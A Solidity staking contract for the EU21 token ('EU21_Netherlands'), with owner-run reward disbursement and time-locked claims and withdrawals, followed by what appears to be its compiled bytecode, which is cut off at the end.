pragma solidity >=0.8.0; // SPDX-License-Identifier: BSD-3-Clause /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract EU21_Netherlands is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); // EU21 token contract address address public constant tokenAddress = 0x87ea1F06d7293161B9ff080662c1b0DF775122D3; // amount disbursed per victory uint public amountToDisburse = 1000000000000000000000; // 1000 EU21 PER VICTORY // total games rewards for each pool uint public totalReward = 7000000000000000000000; // 7000 EU21 TOTAL GAMES REWARDS (EXCLUDING THE GRAND PRIZE) // unstaking possible after ... uint public constant unstakeTime = 37 days; // claiming possible after ... uint public constant claimTime = 37 days; uint public totalClaimedRewards = 0; uint public totalDeposited = 0; uint public totalDisbursed = 0; bool public ended ; uint public startTime = block.timestamp; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public pending; mapping (address => uint) public totalEarnedTokens; mapping (address => uint) public rewardEnded; function disburse () public onlyOwner returns (bool){ require(!ended, "Staking already ended"); address _hold; uint _add; for(uint i = 0; i < holders.length(); i = i.add(1)){ _hold = holders.at(i); _add = depositedTokens[_hold].mul(amountToDisburse).div(totalDeposited); pending[_hold] = pending[_hold].add(_add); } totalDisbursed = totalDisbursed.add(amountToDisburse); return true; } //Disburse and End the staking pool function disburseAndEnd(uint _finalDisburseAmount) public onlyOwner returns (bool){ require(!ended, "Staking already ended"); require(_finalDisburseAmount > 0); address _hold; uint _add; for(uint i = 0; i < holders.length(); i = i.add(1)){ _hold = holders.at(i); _add = depositedTokens[_hold].mul(_finalDisburseAmount).div(totalDeposited); pending[_hold] = pending[_hold].add(_add); } totalDisbursed = totalDisbursed.add(_finalDisburseAmount); ended = true; return true; } //End the staking pool function end() public onlyOwner returns (bool){ require(!ended, "Staking already ended"); ended = true; return true; } function updateAccount(address account) private { uint pendingDivs = getPendingDivs(account); if (pendingDivs > 0) { pending[account] = 0; depositedTokens[account] = depositedTokens[account].add(pendingDivs); totalDeposited = totalDeposited.add(pendingDivs); totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs); totalClaimedRewards = totalClaimedRewards.add(pendingDivs); } } function getPendingDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; uint pendingDivs = pending[_holder]; return pendingDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function deposit(uint amountToStake) public { require(!ended, "Staking has ended"); require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(msg.sender); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake); totalDeposited = totalDeposited.add(amountToStake); if (!holders.contains(msg.sender)) { holders.add(msg.sender); } } function claim() public{ require(holders.contains(msg.sender)); require(block.timestamp.sub(startTime) > claimTime || ended, "Not yet."); require(pending[msg.sender] > 0); uint _reward = pending[msg.sender]; pending[msg.sender] = 0; require(Token(tokenAddress).transfer(msg.sender, _reward), "Could not transfer tokens."); totalClaimedRewards = totalClaimedRewards.add(_reward); totalEarnedTokens[msg.sender] = totalEarnedTokens[msg.sender].add(_reward); if(depositedTokens[msg.sender] == 0){ holders.remove(msg.sender); } } function withdraw(uint _amount) public{ require(block.timestamp.sub(startTime) > unstakeTime || ended, "Not yet."); require(depositedTokens[msg.sender] >= _amount); require(_amount > 0); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(_amount); totalDeposited = totalDeposited.sub(_amount); require(Token(tokenAddress).transfer(msg.sender, _amount), "Could not transfer tokens."); if(depositedTokens[msg.sender] == 0 && pending[msg.sender] == 0){ holders.remove(msg.sender); } } /* function withdrawAllAfterEnd() public { require(ended, "Staking has not ended"); uint _pend = pending[msg.sender]; uint amountToWithdraw = _pend.add(depositedTokens[msg.sender]); require(amountToWithdraw >= 0, "Invalid amount to withdraw"); pending[msg.sender] = 0; depositedTokens[msg.sender] = 0; totalDeposited = totalDeposited.sub(depositedTokens[msg.sender]); require(Token(tokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens."); totalClaimedRewards = totalClaimedRewards.add(_pend); totalEarnedTokens[msg.sender] = totalEarnedTokens[msg.sender].add(_pend); holders.remove(msg.sender); }*/ function getStakersList(uint startIndex, uint endIndex) public view returns (address[] memory stakers, uint[] memory stakingTimestamps, uint[] memory lastClaimedTimeStamps, uint[] memory stakedTokens) { require (startIndex < endIndex); uint length = endIndex.sub(startIndex); address[] memory _stakers = new address[](length); uint[] memory _stakingTimestamps = new uint[](length); uint[] memory _lastClaimedTimeStamps = new uint[](length); uint[] memory _stakedTokens = new uint[](length); for (uint i = startIndex; i < endIndex; i = i.add(1)) { address staker = holders.at(i); uint listIndex = i.sub(startIndex); _stakers[listIndex] = staker; _stakedTokens[listIndex] = depositedTokens[staker]; } return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens); } // function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake) function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { require (_tokenAddr != tokenAddress , "Cannot Transfer Out this token"); Token(_tokenAddr).transfer(_to, _amount); } }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c806398896d10116100de578063c3e5ae5311610097578063d9eaa3ed11610071578063d9eaa3ed1461047c578063efbe1c1c146104ac578063f2fde38b146104ca578063ff50abdc146104e65761018e565b8063c3e5ae5314610410578063d578ceab14610440578063d7e527451461045e5761018e565b806398896d101461033a5780639d76ea581461036a578063abc6fd0b14610388578063b6b55f25146103a6578063bf95c78d146103c2578063c326bf4f146103e05761018e565b80635eebea201161014b578063750142e611610125578063750142e6146102c257806378e97925146102e05780638da5cb5b146102fe5780639232eed31461031c5761018e565b80635eebea20146102465780636270cd18146102765780636a395ccb146102a65761018e565b806312fa6feb146101935780631911cf4a146101b157806327b3bf11146101e45780632e1a7d4d14610202578063308feec31461021e5780634e71d92d1461023c575b600080fd5b61019b610504565b6040516101a8919061253b565b60405180910390f35b6101cb60048036038101906101c691906121d4565b610517565b6040516101db94939291906124da565b60405180910390f35b6101ec61087a565b6040516101f99190612656565b60405180910390f35b61021c600480360381019061021791906121ab565b610881565b005b610226610b86565b6040516102339190612656565b60405180910390f35b610244610b97565b005b610260600480360381019061025b919061210a565b610eea565b60405161026d9190612656565b60405180910390f35b610290600480360381019061028b919061210a565b610f02565b60405161029d9190612656565b60405180910390f35b6102c060048036038101906102bb9190612133565b610f1a565b005b6102ca611088565b6040516102d79190612656565b60405180910390f35b6102e861108e565b6040516102f59190612656565b60405180910390f35b610306611094565b604051610313919061245f565b60405180910390f35b6103246110b8565b6040516103319190612656565b60405180910390f35b610354600480360381019061034f919061210a565b6110be565b6040516103619190612656565b60405180910390f35b61037261112f565b60405161037f919061245f565b60405180910390f35b610390611147565b60405161039d919061253b565b60405180910390f35b6103c060048036038101906103bb91906121ab565b611360565b005b6103ca6115bf565b6040516103d79190612656565b60405180910390f35b6103fa60048036038101906103f5919061210a565b6115c5565b6040516104079190612656565b60405180910390f35b61042a6004803603810190610425919061210a565b6115dd565b6040516104379190612656565b60405180910390f35b6104486115f5565b6040516104559190612656565b60405180910390f35b6104666115fb565b6040516104739190612656565b60405180910390f35b610496600480360381019061049191906121ab565b611602565b6040516104a3919061253b565b60405180910390f35b6104b4611841565b6040516104c1919061253b565b60405180910390f35b6104e460048036038101906104df919061210a565b61190e565b005b6104ee611a5d565b6040516104fb9190612656565b60405180910390f35b600660009054906101000a900460ff1681565b60608060608084861061052957600080fd5b600061053e8787611a6390919063ffffffff16565b905060008167ffffffffffffffff811115610582577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156105b05781602001602082028036833780820191505090505b50905060008267ffffffffffffffff8111156105f5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156106235781602001602082028036833780820191505090505b50905060008367ffffffffffffffff811115610668577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156106965781602001602082028036833780820191505090505b50905060008467ffffffffffffffff8111156106db577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156107095781602001602082028036833780820191505090505b50905060008b90505b8a81101561085f576000610730826008611ab090919063ffffffff16565b905060006107478e84611a6390919063ffffffff16565b905081878281518110610783577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054848281518110610836577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010181815250505050610858600182611aca90919063ffffffff16565b9050610712565b50838383839850985098509850505050505092959194509250565b6230c78081565b6230c78061089a60075442611a6390919063ffffffff16565b11806108b25750600660009054906101000a900460ff165b6108f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e890612636565b60405180910390fd5b80600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561093d57600080fd5b6000811161094a57600080fd5b61099c81600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6390919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109f481600454611a6390919063ffffffff16565b6004819055507387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a499291906124b1565b602060405180830381600087803b158015610a6357600080fd5b505af1158015610a77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9b9190612182565b610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad1906125b6565b60405180910390fd5b6000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610b6857506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610b8357610b81336008611b1c90919063ffffffff16565b505b50565b6000610b926008611b4c565b905090565b610bab336008611b6190919063ffffffff16565b610bb457600080fd5b6230c780610bcd60075442611a6390919063ffffffff16565b1180610be55750600660009054906101000a900460ff165b610c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1b90612636565b60405180910390fd5b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610c7057600080fd5b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610d489291906124b1565b602060405180830381600087803b158015610d6257600080fd5b505af1158015610d76573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9a9190612182565b610dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd0906125b6565b60405180910390fd5b610dee81600354611aca90919063ffffffff16565b600381905550610e4681600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610ee757610ee5336008611b1c90919063ffffffff16565b505b50565b600b6020528060005260406000206000915090505481565b600c6020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f7257600080fd5b7387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ff5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fec90612596565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b81526004016110309291906124b1565b602060405180830381600087803b15801561104a57600080fd5b505af115801561105e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110829190612182565b50505050565b60025481565b60075481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015481565b60006110d4826008611b6190919063ffffffff16565b6110e1576000905061112a565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050809150505b919050565b7387ea1f06d7293161b9ff080662c1b0df775122d381565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111a257600080fd5b600660009054906101000a900460ff16156111f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e990612576565b60405180910390fd5b60008060005b6112026008611b4c565b8110156113395761121d816008611ab090919063ffffffff16565b9250611287600454611279600154600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9190919063ffffffff16565b611bf890919063ffffffff16565b91506112db82600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611332600182611aca90919063ffffffff16565b90506111f8565b50611351600154600554611aca90919063ffffffff16565b60058190555060019250505090565b600660009054906101000a900460ff16156113b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a7906125d6565b60405180910390fd5b600081116113f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ea906125f6565b60405180910390fd5b7387ea1f06d7293161b9ff080662c1b0df775122d373ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b81526004016114449392919061247a565b602060405180830381600087803b15801561145e57600080fd5b505af1158015611472573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114969190612182565b6114d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cc90612616565b60405180910390fd5b6114de33611c13565b61153081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158881600454611aca90919063ffffffff16565b6004819055506115a2336008611b6190919063ffffffff16565b6115bc576115ba336008611dd390919063ffffffff16565b505b50565b60055481565b600a6020528060005260406000206000915090505481565b600d6020528060005260406000206000915090505481565b60035481565b6230c78081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461165d57600080fd5b600660009054906101000a900460ff16156116ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a490612576565b60405180910390fd5b600082116116ba57600080fd5b60008060005b6116ca6008611b4c565b8110156117ff576116e5816008611ab090919063ffffffff16565b925061174d60045461173f87600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9190919063ffffffff16565b611bf890919063ffffffff16565b91506117a182600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117f8600182611aca90919063ffffffff16565b90506116c0565b5061181584600554611aca90919063ffffffff16565b6005819055506001600660006101000a81548160ff021916908315150217905550600192505050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461189c57600080fd5b600660009054906101000a900460ff16156118ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e390612576565b60405180910390fd5b6001600660006101000a81548160ff0219169083151502179055506001905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461196657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119a057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b600082821115611a9c577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8183611aa891906127d5565b905092915050565b6000611abf8360000183611e03565b60001c905092915050565b6000808284611ad991906126f4565b905083811015611b12577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8091505092915050565b6000611b44836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611e9d565b905092915050565b6000611b5a82600001612027565b9050919050565b6000611b89836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612038565b905092915050565b6000808284611ba0919061277b565b90506000841480611bbb5750828482611bb9919061274a565b145b611bee577f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b8091505092915050565b6000808284611c07919061274a565b90508091505092915050565b6000611c1e826110be565b90506000811115611dcf576000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cc081600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d1881600454611aca90919063ffffffff16565b600481905550611d7081600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aca90919063ffffffff16565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611dc881600354611aca90919063ffffffff16565b6003819055505b5050565b6000611dfb836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61205b565b905092915050565b600081836000018054905011611e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4590612556565b60405180910390fd5b826000018281548110611e8a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905092915050565b6000808360010160008481526020019081526020016000205490506000811461201b576000600182611ecf91906127d5565b9050600060018660000180549050611ee791906127d5565b90506000866000018281548110611f27577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905080876000018481548110611f71577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200181905550600183611f8c91906126f4565b8760010160008381526020019081526020016000208190555086600001805480611fdf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612021565b60009150505b92915050565b600081600001805490509050919050565b600080836001016000848152602001908152602001600020541415905092915050565b60006120678383612038565b6120c05782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506120c5565b600090505b92915050565b6000813590506120da81612a1d565b92915050565b6000815190506120ef81612a34565b92915050565b60008135905061210481612a4b565b92915050565b60006020828403121561211c57600080fd5b600061212a848285016120cb565b91505092915050565b60008060006060848603121561214857600080fd5b6000612156868287016120cb565b9350506020612167868287016120cb565b9250506040612178868287016120f5565b9150509250925092565b60006020828403121561219457600080fd5b60006121a2848285016120e0565b91505092915050565b6000602082840312156121bd57600080fd5b60006121cb848285016120f5565b91505092915050565b600080604083850312156121e757600080fd5b60006121f5858286016120f5565b9250506020612206858286016120f5565b9150509250929050565b600061221c8383612240565b60208301905092915050565b60006122348383612441565b60208301905092915050565b61224981612809565b82525050565b61225881612809565b82525050565b600061226982612691565b61227381856126c1565b935061227e83612671565b8060005b838110156122af5781516122968882612210565b97506122a1836126a7565b925050600181019050612282565b5085935050505092915050565b60006122c78261269c565b6122d181856126d2565b93506122dc83612681565b8060005b8381101561230d5781516122f48882612228565b97506122ff836126b4565b9250506001810190506122e0565b5085935050505092915050565b6123238161281b565b82525050565b60006123366022836126e3565b9150612341826128af565b604082019050919050565b60006123596015836126e3565b9150612364826128fe565b602082019050919050565b600061237c601e836126e3565b915061238782612927565b602082019050919050565b600061239f601a836126e3565b91506123aa82612950565b602082019050919050565b60006123c26011836126e3565b91506123cd82612979565b602082019050919050565b60006123e56017836126e3565b91506123f0826129a2565b602082019050919050565b6000612408601c836126e3565b9150612413826129cb565b602082019050919050565b600061242b6008836126e3565b9150612436826129f4565b602082019050919050565b61244a81612847565b82525050565b61245981612847565b82525050565b6000602082019050612474600083018461224f565b92915050565b600060608201905061248f600083018661224f565b61249c602083018561224f565b6124a96040830184612450565b949350505050565b60006040820190506124c6600083018561224f565b6124d36020830184612450565b9392505050565b600060808201905081810360008301526124f4818761225e565b9050818103602083015261250881866122bc565b9050818103604083015261251c81856122bc565b9050818103606083015261253081846122bc565b905095945050505050565b6000602082019050612550600083018461231a565b92915050565b6000602082019050818103600083015261256f81612329565b9050919050565b6000602082019050818103600083015261258f8161234c565b9050919050565b600060208201905081810360008301526125af8161236f565b9050919050565b600060208201905081810360008301526125cf81612392565b9050919050565b600060208201905081810360008301526125ef816123b5565b9050919050565b6000602082019050818103600083015261260f816123d8565b9050919050565b6000602082019050818103600083015261262f816123fb565b9050919050565b6000602082019050818103600083015261264f8161241e565b9050919050565b600060208201905061266b6000830184612450565b92915050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126ff82612847565b915061270a83612847565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561273f5761273e612851565b5b828201905092915050565b600061275582612847565b915061276083612847565b9250826127705761276f612880565b5b828204905092915050565b600061278682612847565b915061279183612847565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127ca576127c9612851565b5b828202905092915050565b60006127e082612847565b91506127eb83612847565b9250828210156127fe576127fd612851565b5b828203905092915050565b600061281482612827565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e60008201527f6473000000000000000000000000000000000000000000000000000000000000602082015250565b7f5374616b696e6720616c726561647920656e6465640000000000000000000000600082015250565b7f43616e6e6f74205472616e73666572204f7574207468697320746f6b656e0000600082015250565b7f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000600082015250565b7f5374616b696e672068617320656e646564000000000000000000000000000000600082015250565b7f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000600082015250565b7f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000600082015250565b7f4e6f74207965742e0000000000000000000000000000000